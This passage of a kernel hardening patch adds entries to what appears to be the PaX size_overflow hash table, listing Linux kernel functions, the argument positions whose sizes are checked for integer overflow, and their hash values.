++_000528_hash send_bulk_static_data 3 61932 _000528_hash NULL
++_000529_hash send_control_msg 6 48498 _000529_hash NULL
++_000530_hash set_aoe_iflist 2 42737 _000530_hash NULL
++_000531_hash setkey_unaligned 3 39474 _000531_hash NULL
++_000532_hash set_registers 3 53582 _000532_hash NULL
++_000533_hash setsockopt 5 54539 _000533_hash NULL
++_000534_hash setup_req 3 5848 _000534_hash NULL
++_000535_hash setup_window 7-5-4-2 59178 _000535_hash NULL
++_000536_hash setxattr 4 37006 _000536_hash NULL
++_000537_hash sfq_alloc 1 2861 _000537_hash NULL
++_000538_hash sg_kmalloc 1 50240 _000538_hash NULL
++_000539_hash sgl_map_user_pages 2 30610 _000539_hash NULL
++_000540_hash shash_setkey_unaligned 3 8620 _000540_hash NULL
++_000541_hash shmem_xattr_alloc 2 61190 _000541_hash NULL
++_000542_hash sierra_setup_urb 5 46029 _000542_hash NULL
++_000543_hash simple_transaction_get 3 50633 _000543_hash NULL
++_000544_hash simple_write_to_buffer 2-5 3122 _000544_hash NULL
++_000546_hash sisusb_send_bulk_msg 3 17864 _000546_hash NULL
++_000547_hash skb_add_data 3 48363 _000547_hash NULL
++_000548_hash skb_do_copy_data_nocache 5 12465 _000548_hash NULL
++_000549_hash sl_alloc_bufs 2 50380 _000549_hash NULL
++_000550_hash sl_realloc_bufs 2 64086 _000550_hash NULL
++_000551_hash smk_write_ambient 3 45691 _000551_hash NULL
++_000552_hash smk_write_cipso 3 17989 _000552_hash NULL
++_000553_hash smk_write_direct 3 46363 _000553_hash NULL
++_000554_hash smk_write_doi 3 49621 _000554_hash NULL
++_000555_hash smk_write_load_list 3 52280 _000555_hash NULL
++_000556_hash smk_write_logging 3 2618 _000556_hash NULL
++_000557_hash smk_write_netlbladdr 3 42525 _000557_hash NULL
++_000558_hash smk_write_onlycap 3 14400 _000558_hash NULL
++_000559_hash snd_ctl_elem_user_tlv 3 11695 _000559_hash NULL
++_000560_hash snd_emu10k1_fx8010_read 5 9605 _000560_hash NULL
++_000561_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000561_hash NULL
++_000563_hash snd_gus_dram_poke 4 18525 _000563_hash NULL
++_000564_hash snd_hdsp_playback_copy 5 20676 _000564_hash NULL
++_000565_hash snd_info_entry_write 3 63474 _000565_hash NULL
++_000566_hash snd_korg1212_copy_from 6 36169 _000566_hash NULL
++_000567_hash snd_mem_proc_write 3 9786 _000567_hash NULL
++_000568_hash snd_midi_channel_init_set 1 30092 _000568_hash NULL
++_000569_hash snd_midi_event_new 1 9893 _000750_hash NULL nohasharray
++_000570_hash snd_opl4_mem_proc_write 5 9670 _000570_hash NULL
++_000571_hash snd_pcm_aio_read 3 13900 _000571_hash NULL
++_000572_hash snd_pcm_aio_write 3 28738 _000572_hash NULL
++_000573_hash snd_pcm_oss_write1 3 10872 _000573_hash NULL
++_000574_hash snd_pcm_oss_write2 3 27332 _000574_hash NULL
++_000575_hash snd_rawmidi_kernel_write1 4 56847 _000575_hash NULL
++_000576_hash snd_rme9652_playback_copy 5 20970 _000576_hash NULL
++_000577_hash snd_sb_csp_load_user 3 45190 _000577_hash NULL
++_000578_hash snd_usb_ctl_msg 8 8436 _000578_hash NULL
++_000579_hash sock_bindtodevice 3 50942 _000579_hash NULL
++_000580_hash sock_kmalloc 2 62205 _000580_hash NULL
++_000581_hash spidev_write 3 44510 _000581_hash NULL
++_000582_hash squashfs_read_table 3 16945 _000582_hash NULL
++_000583_hash srpt_alloc_ioctx 2-3 51042 _000583_hash NULL
++_000585_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000585_hash NULL
++_000586_hash st5481_setup_isocpipes 6-4 61340 _000586_hash NULL
++_000587_hash sta_agg_status_write 3 45164 _000587_hash NULL
++_000588_hash svc_setsockopt 5 36876 _000588_hash NULL
++_000589_hash sys_add_key 4 61288 _000589_hash NULL
++_000590_hash sys_modify_ldt 3 18824 _000590_hash NULL
++_000591_hash sys_semtimedop 3 4486 _000591_hash NULL
++_000592_hash sys_setdomainname 2 4373 _000592_hash NULL
++_000593_hash sys_sethostname 2 42962 _000593_hash NULL
++_000594_hash tda10048_writeregbulk 4 11050 _000594_hash NULL
++_000595_hash tipc_log_resize 1 34803 _000595_hash NULL
++_000596_hash tomoyo_write_self 3 45161 _000596_hash NULL
++_000597_hash tower_write 3 8580 _000597_hash NULL
++_000598_hash tpm_write 3 50798 _000598_hash NULL
++_000599_hash trusted_instantiate 3 4710 _000599_hash NULL
++_000600_hash trusted_update 3 12664 _000600_hash NULL
++_000601_hash tt_changes_fill_buffer 3 62649 _000601_hash NULL
++_000602_hash tty_buffer_alloc 2 45437 _000602_hash NULL
++_000603_hash __tun_chr_ioctl 4 22300 _000603_hash NULL
++_000604_hash ubi_more_leb_change_data 4 63534 _000604_hash NULL
++_000605_hash ubi_more_update_data 4 39189 _000605_hash NULL
++_000606_hash ubi_resize_volume 2 50172 _000606_hash NULL
++_000607_hash udf_alloc_i_data 2 35786 _000607_hash NULL
++_000608_hash uea_idma_write 3 64139 _000608_hash NULL
++_000609_hash uea_request 4 47613 _000609_hash NULL
++_000610_hash uea_send_modem_cmd 3 3888 _000610_hash NULL
++_000611_hash uio_write 3 43202 _000611_hash NULL
++_000612_hash um_idi_write 3 18293 _000612_hash NULL
++_000613_hash us122l_ctl_msg 8 13330 _000613_hash NULL
++_000614_hash usb_alloc_urb 1 43436 _000614_hash NULL
++_000615_hash usblp_new_writeurb 2 22894 _000615_hash NULL
++_000616_hash usblp_write 3 23178 _000616_hash NULL
++_000617_hash usbtest_alloc_urb 3-5 34446 _000617_hash NULL
++_000619_hash usbtmc_write 3 64340 _000619_hash NULL
++_000620_hash user_instantiate 3 26131 _000620_hash NULL
++_000621_hash user_update 3 41332 _000621_hash NULL
++_000622_hash uvc_simplify_fraction 3 31303 _000622_hash NULL
++_000623_hash uwb_rc_cmd_done 4 35892 _000623_hash NULL
++_000624_hash uwb_rc_neh_grok_event 3 55799 _000624_hash NULL
++_000625_hash v9fs_alloc_rdir_buf 2 42150 _000625_hash NULL
++_000626_hash __vb2_perform_fileio 3 63033 _000626_hash NULL
++_000627_hash vc_do_resize 3-4 48842 _000627_hash NULL
++_000629_hash vcs_write 3 3910 _000629_hash NULL
++_000630_hash vfd_write 3 14717 _000630_hash NULL
++_000631_hash vga_arb_write 3 36112 _000631_hash NULL
++_000632_hash vga_switcheroo_debugfs_write 3 33984 _000632_hash NULL
++_000633_hash vhci_get_user 3 45039 _000633_hash NULL
++_000634_hash video_proc_write 3 6724 _000634_hash NULL
++_000635_hash vlsi_alloc_ring 3-4 57003 _000635_hash NULL
++_000637_hash __vmalloc 1 61168 _000637_hash NULL
++_000638_hash vmalloc_32 1 1135 _000638_hash NULL
++_000639_hash vmalloc_32_user 1 37519 _000639_hash NULL
++_000640_hash vmalloc_exec 1 36132 _000640_hash NULL
++_000641_hash vmalloc_node 1 58700 _000641_hash NULL
++_000642_hash __vmalloc_node_flags 1 30352 _000642_hash NULL
++_000643_hash vmalloc_user 1 32308 _000643_hash NULL
++_000644_hash vol_cdev_direct_write 3 20751 _000644_hash NULL
++_000645_hash vp_request_msix_vectors 2 28849 _000645_hash NULL
++_000646_hash vring_add_indirect 3-4 20737 _000646_hash NULL
++_000648_hash vring_new_virtqueue 1 9671 _000648_hash NULL
++_000649_hash vxge_os_dma_malloc 2 46184 _000649_hash NULL
++_000650_hash vxge_os_dma_malloc_async 3 56348 _000650_hash NULL
++_000651_hash wdm_write 3 53735 _000651_hash NULL
++_000652_hash wiimote_hid_send 3 48528 _000652_hash NULL
++_000653_hash wl1273_fm_fops_write 3 60621 _000653_hash NULL
++_000654_hash wlc_phy_loadsampletable_nphy 3 64367 _000654_hash NULL
++_000655_hash write 3 62671 _000655_hash NULL
++_000656_hash write_flush 3 50803 _000656_hash NULL
++_000657_hash write_rio 3 54837 _000657_hash NULL
++_000658_hash x25_asy_change_mtu 2 26928 _000658_hash NULL
++_000659_hash xdi_copy_from_user 4 8395 _000659_hash NULL
++_000660_hash xfrm_dst_alloc_copy 3 3034 _000660_hash NULL
++_000661_hash xfrm_user_policy 4 62573 _000661_hash NULL
++_000662_hash xfs_attrmulti_attr_set 4 59346 _000662_hash NULL
++_000663_hash xfs_handle_to_dentry 3 12135 _000663_hash NULL
++_000664_hash __xip_file_write 3-4 2733 _000664_hash NULL
++_000665_hash xprt_rdma_allocate 2 31372 _000665_hash NULL
++_000666_hash zd_usb_iowrite16v_async 3 23984 _000666_hash NULL
++_000667_hash zd_usb_read_fw 4 22049 _000667_hash NULL
++_000668_hash zerocopy_sg_from_iovec 3 11828 _000668_hash NULL
++_000669_hash zoran_write 3 22404 _000669_hash NULL
++_000671_hash acpi_ex_allocate_name_string 2-1 7685 _002855_hash NULL nohasharray
++_000672_hash acpi_os_allocate_zeroed 1 37422 _000672_hash NULL
++_000673_hash acpi_ut_initialize_buffer 2 47143 _002314_hash NULL nohasharray
++_000674_hash ad7879_spi_xfer 3 36311 _000674_hash NULL
++_000675_hash add_new_gdb 3 27643 _000675_hash NULL
++_000676_hash add_numbered_child 5 14273 _000676_hash NULL
++_000677_hash add_res_range 4 21310 _000677_hash NULL
++_000678_hash addtgt 3 54703 _000678_hash NULL
++_000679_hash add_uuid 4 49831 _000679_hash NULL
++_000680_hash afs_cell_alloc 2 24052 _000680_hash NULL
++_000681_hash aggr_recv_addba_req_evt 4 38037 _000681_hash NULL
++_000682_hash agp_create_memory 1 1075 _000682_hash NULL
++_000683_hash agp_create_user_memory 1 62955 _000683_hash NULL
++_000684_hash alg_setsockopt 5 20985 _000684_hash NULL
++_000685_hash alloc_async 1 14208 _000685_hash NULL
++_000686_hash ___alloc_bootmem_nopanic 1 53626 _000686_hash NULL
++_000687_hash alloc_buf 1 34532 _000687_hash NULL
++_000688_hash alloc_chunk 1 49575 _000688_hash NULL
++_000689_hash alloc_context 1 41283 _000689_hash NULL
++_000690_hash alloc_ctrl_packet 1 44667 _000690_hash NULL
++_000691_hash alloc_data_packet 1 46698 _000691_hash NULL
++_000692_hash alloc_dca_provider 2 59670 _000692_hash NULL
++_000693_hash __alloc_dev_table 2 54343 _000693_hash NULL
++_000694_hash alloc_ep 1 17269 _000694_hash NULL
++_000695_hash __alloc_extent_buffer 3 15093 _000695_hash NULL
++_000696_hash alloc_group_attrs 2 9194 _000719_hash NULL nohasharray
++_000697_hash alloc_large_system_hash 2 64490 _000697_hash NULL
++_000698_hash alloc_netdev_mqs 1 30030 _000698_hash NULL
++_000699_hash __alloc_objio_seg 1 7203 _000699_hash NULL
++_000700_hash alloc_ring 2-4 15345 _000700_hash NULL
++_000701_hash alloc_ring 2-4 39151 _000701_hash NULL
++_000704_hash alloc_session 1-2 64171 _000704_hash NULL
++_000708_hash alloc_smp_req 1 51337 _000708_hash NULL
++_000709_hash alloc_smp_resp 1 3566 _000709_hash NULL
++_000710_hash alloc_ts_config 1 45775 _000710_hash NULL
++_000711_hash alloc_upcall 2 62186 _000711_hash NULL
++_000712_hash altera_drscan 2 48698 _000712_hash NULL
++_000713_hash altera_irscan 2 62396 _000713_hash NULL
++_000714_hash altera_set_dr_post 2 54291 _000714_hash NULL
++_000715_hash altera_set_dr_pre 2 64862 _000715_hash NULL
++_000716_hash altera_set_ir_post 2 20948 _000716_hash NULL
++_000717_hash altera_set_ir_pre 2 54103 _000717_hash NULL
++_000718_hash altera_swap_dr 2 50090 _000718_hash NULL
++_000719_hash altera_swap_ir 2 9194 _000719_hash &_000696_hash
++_000720_hash amd_create_gatt_pages 1 20537 _000720_hash NULL
++_000721_hash aoechr_write 3 62883 _001352_hash NULL nohasharray
++_000722_hash applesmc_create_nodes 2 49392 _000722_hash NULL
++_000723_hash array_zalloc 1-2 7519 _000723_hash NULL
++_000725_hash arvo_sysfs_read 6 31617 _000725_hash NULL
++_000726_hash arvo_sysfs_write 6 3311 _000726_hash NULL
++_000727_hash asd_store_update_bios 4 10165 _000727_hash NULL
++_000728_hash ata_host_alloc 2 46094 _000728_hash NULL
++_000729_hash atalk_sendmsg 4 21677 _000729_hash NULL
++_000730_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000730_hash NULL
++_000731_hash ath6kl_mgmt_tx 9 21153 _000731_hash NULL
++_000732_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000732_hash NULL
++_000733_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000733_hash NULL
++_000734_hash ath_descdma_setup 5 12257 _000734_hash NULL
++_000735_hash ath_rx_edma_init 2 65483 _000735_hash NULL
++_000736_hash ati_create_gatt_pages 1 4722 _003185_hash NULL nohasharray
++_000737_hash au0828_init_isoc 2-3 61917 _000737_hash NULL
++_000739_hash audit_init_entry 1 38644 _000739_hash NULL
++_000740_hash ax25_sendmsg 4 62770 _000740_hash NULL
++_000741_hash b1_alloc_card 1 36155 _000741_hash NULL
++_000742_hash b43_nphy_load_samples 3 36481 _000742_hash NULL
++_000743_hash bio_copy_user_iov 4 37660 _000743_hash NULL
++_000744_hash __bio_map_kern 2-3 47379 _000744_hash NULL
++_000746_hash blk_register_region 1-2 51424 _000746_hash NULL
++_000748_hash bm_entry_write 3 28338 _000748_hash NULL
++_000749_hash bm_realloc_pages 2 9431 _000749_hash NULL
++_000750_hash bm_register_write 3 9893 _000750_hash &_000569_hash
++_000751_hash bm_status_write 3 12964 _000751_hash NULL
++_000752_hash br_mdb_rehash 2 42643 _000752_hash NULL
++_000753_hash btrfs_copy_from_user 3-1 43806 _000753_hash NULL
++_000754_hash btrfs_insert_delayed_dir_index 4 63720 _000754_hash NULL
++_000755_hash __btrfs_map_block 3 49839 _000755_hash NULL
++_000756_hash __c4iw_init_resource_fifo 3 8334 _000756_hash NULL
++_000757_hash cache_downcall 3 13666 _000757_hash NULL
++_000758_hash cache_slow_downcall 2 8570 _000758_hash NULL
++_000759_hash ca_extend 2 64541 _000759_hash NULL
++_000760_hash caif_seqpkt_sendmsg 4 22961 _000760_hash NULL
++_000761_hash caif_stream_sendmsg 4 9110 _000761_hash NULL
++_000762_hash carl9170_cmd_buf 3 950 _000762_hash NULL
++_000763_hash cdev_add 2-3 38176 _000763_hash NULL
++_000765_hash cdrom_read_cdda 4 50478 _000765_hash NULL
++_000766_hash ceph_dns_resolve_name 1-2 62488 _000766_hash NULL
++_000767_hash ceph_msgpool_get 2 54258 _000767_hash NULL
++_000768_hash cfg80211_connect_result 4-6 56515 _000768_hash NULL
++_000770_hash cfg80211_disconnected 4 57 _000770_hash NULL
++_000771_hash cfg80211_inform_bss 8 19332 _000771_hash NULL
++_000772_hash cfg80211_inform_bss_frame 4 41078 _000772_hash NULL
++_000773_hash cfg80211_mlme_register_mgmt 5 19852 _000773_hash NULL
++_000774_hash cfg80211_roamed_bss 4-6 50198 _000774_hash NULL
++_000776_hash cifs_readdata_alloc 1 50318 _000776_hash NULL
++_000777_hash cifs_readv_from_socket 3 19109 _000777_hash NULL
++_000778_hash cifs_writedata_alloc 1 32880 _003119_hash NULL nohasharray
++_000779_hash cnic_alloc_dma 3 34641 _000779_hash NULL
++_000780_hash configfs_write_file 3 61621 _000780_hash NULL
++_000781_hash construct_key 3 11329 _000781_hash NULL
++_000782_hash context_alloc 3 24645 _000782_hash NULL
++_000783_hash copy_to_user 3 57835 _000783_hash NULL
++_000784_hash create_attr_set 1 22861 _000784_hash NULL
++_000785_hash create_bounce_buffer 3 39155 _000785_hash NULL
++_000786_hash create_gpadl_header 2 19064 _000786_hash NULL
++_000787_hash _create_sg_bios 4 31244 _000787_hash NULL
++_000788_hash cryptd_alloc_instance 2-3 18048 _000788_hash NULL
++_000790_hash crypto_ahash_setkey 3 55134 _000790_hash NULL
++_000791_hash crypto_alloc_instance2 3 25277 _000791_hash NULL
++_000792_hash crypto_shash_setkey 3 60483 _000792_hash NULL
++_000793_hash cx231xx_init_bulk 3-2 47024 _000793_hash NULL
++_000794_hash cx231xx_init_isoc 2-3 56453 _000794_hash NULL
++_000796_hash cx231xx_init_vbi_isoc 2-3 28053 _000796_hash NULL
++_000798_hash cxgb_alloc_mem 1 24007 _000798_hash NULL
++_000799_hash cxgbi_device_portmap_create 3 25747 _000799_hash NULL
++_000800_hash cxgbi_device_register 1-2 36746 _000800_hash NULL
++_000802_hash __cxio_init_resource_fifo 3 23447 _000802_hash NULL
++_000803_hash dccp_sendmsg 4 56058 _000803_hash NULL
++_000804_hash ddp_make_gl 1 12179 _000804_hash NULL
++_000805_hash depth_write 3 3021 _000805_hash NULL
++_000806_hash dev_irnet_write 3 11398 _000806_hash NULL
++_000807_hash dev_set_alias 3 50084 _000807_hash NULL
++_000808_hash dev_write 3 7708 _000808_hash NULL
++_000809_hash dfs_global_file_write 3 6112 _000809_hash NULL
++_000810_hash dgram_sendmsg 4 45679 _000810_hash NULL
++_000811_hash disconnect 4 32521 _000811_hash NULL
++_000812_hash dma_attach 6-7 50831 _000812_hash NULL
++_000814_hash dn_sendmsg 4 38390 _000814_hash NULL
++_000815_hash do_dccp_setsockopt 5 54377 _003160_hash NULL nohasharray
++_000816_hash do_jffs2_setxattr 5 25910 _000816_hash NULL
++_000817_hash do_msgsnd 4 1387 _000817_hash NULL
++_000818_hash do_raw_setsockopt 5 55215 _000818_hash NULL
++_000819_hash do_readv_writev 4 51849 _000819_hash NULL
++_000820_hash do_sync 1 9604 _000820_hash NULL
++_000821_hash dup_array 3 33551 _000821_hash NULL
++_000822_hash dvb_audio_write 3 51275 _000822_hash NULL
++_000823_hash dvb_ca_en50221_init 4 45718 _000823_hash NULL
++_000824_hash dvb_video_write 3 754 _000824_hash NULL
++_000825_hash econet_sendmsg 4 51430 _000825_hash NULL
++_000826_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000826_hash NULL
++_000827_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000827_hash NULL
++_000828_hash ecryptfs_send_message_locked 2 31801 _000828_hash NULL
++_000829_hash edac_device_alloc_ctl_info 1 5941 _000829_hash NULL
++_000830_hash edac_mc_alloc 1 54846 _000830_hash NULL
++_000831_hash edac_pci_alloc_ctl_info 1 63388 _000831_hash NULL
++_000832_hash efivar_create_sysfs_entry 2 19485 _000832_hash NULL
++_000833_hash em28xx_alloc_isoc 4 46892 _000833_hash NULL
++_000834_hash enable_write 3 30456 _000834_hash NULL
++_000835_hash enclosure_register 3 57412 _000835_hash NULL
++_000836_hash ext4_kvzalloc 1 47605 _000836_hash NULL
++_000837_hash extend_netdev_table 2 31680 _000837_hash NULL
++_000838_hash __feat_register_sp 6 64712 _000838_hash NULL
++_000839_hash __ffs_ep0_read_events 3 48868 _000839_hash NULL
++_000840_hash ffs_ep0_write 3 9438 _000840_hash NULL
++_000841_hash ffs_epfile_read 3 18775 _000841_hash NULL
++_000842_hash ffs_epfile_write 3 48014 _000842_hash NULL
++_000843_hash fib_info_hash_alloc 1 9075 _000843_hash NULL
++_000844_hash fillonedir 3 41746 _000844_hash NULL
++_000845_hash flexcop_device_kmalloc 1 54793 _000845_hash NULL
++_000846_hash frame_alloc 4 15981 _000846_hash NULL
++_000847_hash fw_node_create 2 9559 _000847_hash NULL
++_000848_hash garmin_read_process 3 27509 _000848_hash NULL
++_000849_hash garp_request_join 4 7471 _000849_hash NULL
++_000850_hash get_derived_key 4 61100 _000850_hash NULL
++_000851_hash get_entry 4 16003 _000851_hash NULL
++_000852_hash get_free_de 2 33714 _000852_hash NULL
++_000853_hash get_new_cssid 2 51665 _000853_hash NULL
++_000854_hash getxattr 4 24398 _003728_hash NULL nohasharray
++_000855_hash gspca_dev_probe2 4 59833 _000855_hash NULL
++_000856_hash hcd_alloc_coherent 5 55862 _000856_hash NULL
++_000857_hash hci_sock_sendmsg 4 37420 _000857_hash NULL
++_000858_hash hid_register_field 2-3 4874 _000858_hash NULL
++_000860_hash hid_report_raw_event 4 7024 _000860_hash NULL
++_000861_hash hpi_alloc_control_cache 1 35351 _000861_hash NULL
++_000862_hash hugetlbfs_read_actor 2-5-4 34547 _000862_hash NULL
++_000865_hash hvc_alloc 4 12579 _000865_hash NULL
++_000866_hash __hwahc_dev_set_key 5 46328 _000866_hash NULL
++_000867_hash i2400m_zrealloc_2x 3 54166 _001430_hash NULL nohasharray
++_000868_hash ib_alloc_device 1 26483 _000868_hash NULL
++_000869_hash ib_create_send_mad 5 1196 _000869_hash NULL
++_000870_hash ibmasm_new_command 2 25714 _000870_hash NULL
++_000871_hash ib_send_cm_drep 3 50186 _000871_hash NULL
++_000872_hash ib_send_cm_mra 4 60202 _003875_hash NULL nohasharray
++_000873_hash ib_send_cm_rtu 3 63138 _000873_hash NULL
++_000874_hash ieee80211_key_alloc 3 19065 _000874_hash NULL
++_000875_hash ieee80211_mgmt_tx 9 46860 _000875_hash NULL
++_000876_hash ieee80211_send_probe_req 6-4 6924 _000876_hash NULL
++_000877_hash if_writecmd 2 815 _000877_hash NULL
++_000878_hash init_bch 1-2 64130 _000878_hash NULL
++_000880_hash init_ipath 1 48187 _000880_hash NULL
++_000881_hash init_list_set 2-3 39188 _000881_hash NULL
++_000883_hash init_q 4 132 _000883_hash NULL
++_000884_hash init_state 2 60165 _000884_hash NULL
++_000885_hash init_tag_map 3 57515 _000885_hash NULL
++_000886_hash input_ff_create 2 21240 _000886_hash NULL
++_000887_hash input_mt_init_slots 2 31183 _000887_hash NULL
++_000888_hash interfaces 2 38859 _000888_hash NULL
++_000889_hash ioat2_alloc_ring 2 11172 _000889_hash NULL
++_000890_hash ip_generic_getfrag 3-4 12187 _000890_hash NULL
++_000892_hash ipr_alloc_ucode_buffer 1 40199 _000892_hash NULL
++_000893_hash ip_set_alloc 1 57953 _000893_hash NULL
++_000894_hash ipv6_flowlabel_opt 3 58135 _001125_hash NULL nohasharray
++_000895_hash ipv6_renew_options 5 28867 _000895_hash NULL
++_000896_hash ipxrtr_route_packet 4 54036 _000896_hash NULL
++_000897_hash irda_sendmsg 4 4388 _000897_hash NULL
++_000898_hash irda_sendmsg_dgram 4 38563 _000898_hash NULL
++_000899_hash irda_sendmsg_ultra 4 42047 _000899_hash NULL
++_000900_hash irias_add_octseq_attrib 4 29983 _000900_hash NULL
++_000901_hash irq_alloc_generic_chip 2 26650 _000901_hash NULL
++_000902_hash irq_domain_add_linear 2 29236 _000902_hash NULL
++_000903_hash iscsi_alloc_session 3 49390 _000903_hash NULL
++_000904_hash iscsi_create_conn 2 50425 _000904_hash NULL
++_000905_hash iscsi_create_endpoint 1 15193 _000905_hash NULL
++_000906_hash iscsi_create_iface 5 38510 _000906_hash NULL
++_000907_hash iscsi_decode_text_input 4 58292 _000907_hash NULL
++_000908_hash iscsi_pool_init 2-4 54913 _000908_hash NULL
++_000910_hash iscsit_dump_data_payload 2 38683 _000910_hash NULL
++_000911_hash isdn_write 3 45863 _000911_hash NULL
++_000912_hash isku_receive 4 54130 _000912_hash NULL
++_000913_hash isku_send 4 41542 _000913_hash NULL
++_000914_hash islpci_mgt_transaction 5 23610 _000914_hash NULL
++_000915_hash iso_sched_alloc 1 13377 _002079_hash NULL nohasharray
++_000916_hash ivtv_v4l2_write 3 39226 _000916_hash NULL
++_000917_hash iwl_trans_txq_alloc 3 36147 _000917_hash NULL
++_000918_hash iwmct_fw_parser_init 4 37876 _000918_hash NULL
++_000919_hash iwm_notif_send 6 12295 _000919_hash NULL
++_000920_hash iwm_ntf_calib_res 3 11686 _000920_hash NULL
++_000921_hash iwm_umac_set_config_var 4 17320 _000921_hash NULL
++_000922_hash ixgbe_alloc_q_vector 3-5 45428 _000922_hash NULL
++_000924_hash jbd2_journal_init_revoke 2 51088 _000924_hash NULL
++_000925_hash jffs2_write_dirent 5 37311 _000925_hash NULL
++_000926_hash journal_init_revoke 2 56933 _000926_hash NULL
++_000927_hash keyctl_instantiate_key 3 41855 _000927_hash NULL
++_000928_hash keyctl_instantiate_key_iov 3 16969 _000928_hash NULL
++_000929_hash __kfifo_from_user 3 20399 _000929_hash NULL
++_000930_hash kimage_crash_alloc 3 3233 _000930_hash NULL
++_000931_hash kimage_normal_alloc 3 31140 _000931_hash NULL
++_000932_hash kmem_realloc 2 37489 _000932_hash NULL
++_000933_hash kmem_zalloc 1 11510 _000933_hash NULL
++_000934_hash koneplus_send 4 18226 _000934_hash NULL
++_000935_hash koneplus_sysfs_read 6 42792 _000935_hash NULL
++_000936_hash kovaplus_send 4 10009 _000936_hash NULL
++_000937_hash kvm_read_guest_page_mmu 6 37611 _000937_hash NULL
++_000938_hash kvm_set_irq_routing 3 48704 _000938_hash NULL
++_000939_hash kvm_write_guest_cached 4 11106 _000939_hash NULL
++_000940_hash kvm_write_guest_page 5 63555 _002809_hash NULL nohasharray
++_000941_hash l2cap_skbuff_fromiovec 3-4 35003 _000941_hash NULL
++_000943_hash l2tp_ip_sendmsg 4 50411 _000943_hash NULL
++_000944_hash l2tp_session_create 1 25286 _000944_hash NULL
++_000945_hash lc_create 3 48662 _000945_hash NULL
++_000946_hash leaf_dealloc 3 29566 _000946_hash NULL
++_000947_hash linear_conf 2 23485 _003314_hash NULL nohasharray
++_000948_hash lirc_buffer_init 2-3 53282 _000948_hash NULL
++_000950_hash llc_ui_sendmsg 4 24987 _000950_hash NULL
++_000951_hash lpfc_sli4_queue_alloc 3 62646 _000951_hash NULL
++_000952_hash mce_request_packet 3 1073 _000952_hash NULL
++_000953_hash mdiobus_alloc_size 1 52259 _000953_hash NULL
++_000954_hash media_entity_init 2-4 15870 _001556_hash NULL nohasharray
++_000956_hash memstick_alloc_host 1 142 _000956_hash NULL
++_000957_hash mesh_table_alloc 1 22305 _000957_hash NULL
++_000958_hash mfd_add_devices 4 56753 _000958_hash NULL
++_000959_hash mISDN_sock_sendmsg 4 41035 _000959_hash NULL
++_000960_hash mmc_alloc_host 1 48097 _000960_hash NULL
++_000961_hash mmc_test_alloc_mem 3-2 28102 _000961_hash NULL
++_000962_hash mpi_alloc 1 18094 _000962_hash NULL
++_000963_hash mpihelp_mul_karatsuba_case 5-3 23918 _003873_hash NULL nohasharray
++_000964_hash mpihelp_mul_n 4 16405 _000964_hash NULL
++_000965_hash mpi_set_bit 2 15104 _000965_hash NULL
++_000966_hash mpi_set_highbit 2 37327 _001420_hash NULL nohasharray
++_000967_hash mtd_concat_create 2 14416 _000967_hash NULL
++_000968_hash mvumi_alloc_mem_resource 3 47750 _000968_hash NULL
++_000969_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _000969_hash NULL
++_000970_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _000970_hash NULL
++_000972_hash mwl8k_cmd_set_beacon 4 23110 _000972_hash NULL
++_000973_hash neigh_hash_alloc 1 17595 _000973_hash NULL
++_000974_hash netlink_sendmsg 4 33708 _001172_hash NULL nohasharray
++_000975_hash netxen_alloc_sds_rings 2 13417 _000975_hash NULL
++_000976_hash new_bind_ctl 2 35324 _000976_hash NULL
++_000977_hash new_dir 3 31919 _000977_hash NULL
++_000978_hash new_tape_buffer 2 32866 _000978_hash NULL
++_000979_hash nfc_llcp_build_tlv 3 19536 _000979_hash NULL
++_000980_hash nfc_llcp_send_i_frame 3 59130 _000980_hash NULL
++_000981_hash nfs4_alloc_slots 1 2454 _003914_hash NULL nohasharray
++_000982_hash nfsctl_transaction_write 3 64800 _000982_hash NULL
++_000983_hash nfs_idmap_request_key 3 30208 _000983_hash NULL
++_000984_hash nfs_readdata_alloc 1 9990 _000984_hash NULL
++_000985_hash nfs_writedata_alloc 1 62868 _000985_hash NULL
++_000986_hash nl_pid_hash_zalloc 1 23314 _000986_hash NULL
++_000987_hash nr_sendmsg 4 53656 _000987_hash NULL
++_000988_hash nsm_create_handle 4 38060 _000988_hash NULL
++_000989_hash ntfs_copy_from_user_iovec 3-6 49829 _000989_hash NULL
++_000991_hash ntfs_file_buffered_write 4-6 41442 _000991_hash NULL
++_000993_hash __ntfs_malloc 1 34022 _000993_hash NULL
++_000994_hash nvme_alloc_queue 3 46865 _000994_hash NULL
++_000995_hash ocfs2_acl_from_xattr 2 21604 _000995_hash NULL
++_000996_hash ocfs2_control_message 3 19564 _000996_hash NULL
++_000997_hash opera1_usb_i2c_msgxfer 4 64521 _000997_hash NULL
++_000998_hash _ore_get_io_state 3-5-4 2166 _000998_hash NULL
++_000999_hash orig_hash_add_if 2 53676 _000999_hash NULL
++_001000_hash orig_hash_del_if 2 45080 _001000_hash NULL
++_001001_hash orinoco_set_key 5-7 17878 _001001_hash NULL
++_001003_hash osdmap_set_max_osd 2 57630 _003740_hash NULL nohasharray
++_001004_hash _osd_realloc_seg 3 54352 _001004_hash NULL
++_001005_hash OSDSetBlock 2-4 38986 _001005_hash NULL
++_001007_hash osst_execute 7-6 17607 _001007_hash NULL
++_001008_hash osst_write 3 31581 _001008_hash NULL
++_001009_hash otp_read 2-5-4 10594 _001009_hash NULL
++_001012_hash ovs_vport_alloc 1 33475 _001012_hash NULL
++_001013_hash packet_sendmsg_spkt 4 28885 _001013_hash NULL
++_001014_hash pair_device 4 61175 _001708_hash NULL nohasharray
++_001015_hash pccard_store_cis 6 18176 _001015_hash NULL
++_001016_hash pci_add_cap_save_buffer 3 3426 _001016_hash NULL
++_001017_hash pcnet32_realloc_rx_ring 3 36598 _001017_hash NULL
++_001018_hash pcnet32_realloc_tx_ring 3 38428 _001018_hash NULL
++_001019_hash pcpu_mem_zalloc 1 22948 _001019_hash NULL
++_001020_hash pep_sendmsg 4 62524 _001020_hash NULL
++_001021_hash pfkey_sendmsg 4 47394 _001021_hash NULL
++_001022_hash pidlist_resize 2 496 _001022_hash NULL
++_001023_hash pin_code_reply 4 46510 _001023_hash NULL
++_001024_hash ping_getfrag 3-4 8360 _001024_hash NULL
++_001026_hash pipe_set_size 2 5204 _001026_hash NULL
